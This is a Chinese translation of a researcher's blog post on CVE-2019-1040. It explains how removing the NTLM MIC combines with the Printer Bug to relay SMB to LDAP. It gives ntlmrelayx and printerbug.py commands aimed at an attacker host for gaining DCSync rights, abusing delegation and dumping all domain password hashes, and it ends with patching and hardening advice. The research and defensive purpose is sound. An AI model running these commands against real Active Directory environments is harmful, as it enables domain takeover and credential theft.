本周微软发布了CVE-2019-1040
的补丁,这是一个允许绕过NTLM
中继攻击的漏洞。该漏洞由Marina Simakov和Yaron Zinar(以及微软公告中的几个人发现)发现,他们在此发布了有关此漏洞的技术文章。此漏洞允许绕过NTLM
身份验证中的消息完整代码。然而,如果将Lee Christensen
发现的Printer Bug
以及我们在Elad Shamir
的Kerberos
研究中开展的一些研究相结合,我们能发现这个漏洞的影响是相当大的。使用这些漏洞的组合,可以将SMB
身份验证中继到LDAP
。该漏洞使得在任何未修补的Windows服务器或工作站(位于不同Active Directory中的那些服务器或工作站)上以SYSTEM身份执行远程代码,并通过未修补的Exchange服务器升级到域管理员(除非域中的Exchange权限减少)。这篇文章同样告诉读者如何对系统进行修补。
正如我之前在PrivExchange博客中所讨论的那样,过去一年中研究学者的研究使我们距离接管Active Directory中的计算机只有一步之遥。如果Exchange
等Windows服务器
可以向我们进行身份验证,并通过LDAP将该身份验证中继到域控制器,则可以获得受害者的权限并在Active Directory中执行各种操作。在Exchange
的情况下,这导致了黑客拥有足够高的权限来授予自己DCSync
权限,这是PrivExchange
漏洞产生的原因。
通过滥用基于资源的Kerberos约束,攻击者可以在受害者服务器上获得权限,这将导致该服务器上的管理员权限丢失。然而,该问题在于由于NTLM
协议的工作方式,我们无法将SMB流量
中继到LDAP
,因为其标志会触发LDAP签名
。通过滥用SpoolService
错误产生更严重的影响,这阻止了SMB
触发身份验证。
CVE-2019-1040
漏洞可以修改NTLM
身份验证数据包而不会使身份验证失效,从而使攻击者能够删除从SMB转发到LDAP的标志。由于Active Directory目前的状态非常危险,因此可以使用SpoolService
错误来破坏系统。这可以跨林信任,因为SpoolService
错误的唯一要求是经过身份验证的帐户。
一下有两种攻击突击:
使用AD帐户,通过SMB连接到受害者Exchange
服务器,并触发SpoolService错误。 攻击者服务器将通过SMB连接,并使用修改后的ntlmrelayx
版本中继到LDAP
。 使用中继的LDAP身份验证,为攻击者帐户授予DCSync
权限。 攻击者帐户现在可以使用DCSync
转储AD中的所有密码哈希值。
使用AD帐户,通过SMB连接到受害者Exchange
服务器,并触发SpoolService错误。 攻击者服务器将通过SMB连接,并使用修改后的ntlmrelayx
版本中继到LDAP
。 使用中继的LDAP
身份验证,将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。 攻击者现在可以作为受害者服务器上的任何用户进行身份验证。
以下为几点要注意的事项:
在攻击模拟中,Exchange
服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC
模式安装时,Exchange
默认具有高权限。在2019年2月12日之后安装的新Exchange
,或者手动更新以减少Microsoft
博客中所提到的更新。
在第二次模拟攻击中,我们将服务器设定为未修补的Windows Server
,包括域控制器。在定位域控制器时,至少需要一个有漏洞的域控制器来中继身份验证,同时在另一个域控制器上触发SpoolService
错误(理论上可以转发回同一主机,因为我们可以更改NTLM身份验证)。
第二次攻击需要控制计算机帐户。这可以是攻击者从中获取密码的计算机帐户,因为他们已经是工作站上的Administrator或攻击者创建的计算机帐户,滥用Active Directory中的任何帐户都可以默认创建这些帐户。
这里我们更新了ntlmrelayx
(impacket的一部分),有一个remove-mic
标志,根据Preempt
研究人员的技术描述利用CVE-2019-1040
。
在第一次攻击中,我们使用SpoolService
打印机错误攻击Exchange
服务器,并使用ntlmrelayx
进行中继。 我在我的krbrelayx repo
中使用printerbug.py
,我们也可以使用dementor
或原始的.NET
代码。
python printerbug.py testsegment.local/[email protected] <attacker ip/hostname>
这将会使得Exchange服务器与我们本地进行连接:
我们使用--remove-mic
标志运行ntlmrelayx
:
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
这授予我们的用户DCSync
权限,我们可以使用它来转储所有密码哈希值:
第二次攻击主要是我之前博客中描述的过程。
我们使用--remove-mic
和--delegate-access
标志启动ntlmrelayx.py
并将其转发到LDAP over TLS(LDAPS)
以便能够创建新的计算机帐户:
ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
并针对辅助域控制器运行printerbug.py
脚本(在下面称为rlt-app-server
,但这是我在实验室中提升为DC的服务器):
然后进行中继连接,创建一个计算机帐户:
我们可以使用这个模拟票直接对DC
运行secretsdump
并得到所有哈希:)
如果我们在完全不同的Active Directory
中拥有用户,我们可以在relaytest.local
域中执行完全相同的攻击,因为任何经过身份验证的用户都可以触发SpoolService
反向连接。 所以我已经建立了一个单向的,传出的林信任,从relaytest.local
到domainb.local
(这意味着来自domainb的用户可以在relaytest林、域中进行身份验证)。 这也适用于双向信任。
我们运行相同的命令,但现在从domainb
用户打印错误:
看到结果:
通过滥用CVE-2019-1040
,我们可以使用协议弱点和默认设置的组合来接管任何具有漏洞的Windows主机。最重要的防御措施是尽快安装2019年6月的补丁汇总。
我们可以通过对LDAP over TLS强制执行LDAP签名和LDAP通道绑定来阻止NTLM中继到LDAP。但是如博客中所述,当未安装此问题的修补程序时,也可以绕过通道绑定。
为防止攻击者触发SpoolService
错误,我们可以选择禁用Printer Spooler
服务。另一种防御措施是阻止敏感主机上端口445上的传出流量,或确保网络过滤阻止服务器连接到客户端范围并尽可能地隔离各个客户端。拥有高度分割的网络通常是一项重要的防御措施。
总而言之,即使安装所有可用的补丁程序,我们仍然可以将SMB从中继转移到LDAP,除非应用进一步的纵深防御措施,否则它只是在等待下一个不可避免的NTLM攻击。
POC代码在我的个人GitHub上,直到它被合并到impacket:
https://github.com/dirkjanm/impacket/tree/micremove
本文为翻译稿件,来源:https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/?from=groupmessage&isappinstalled=0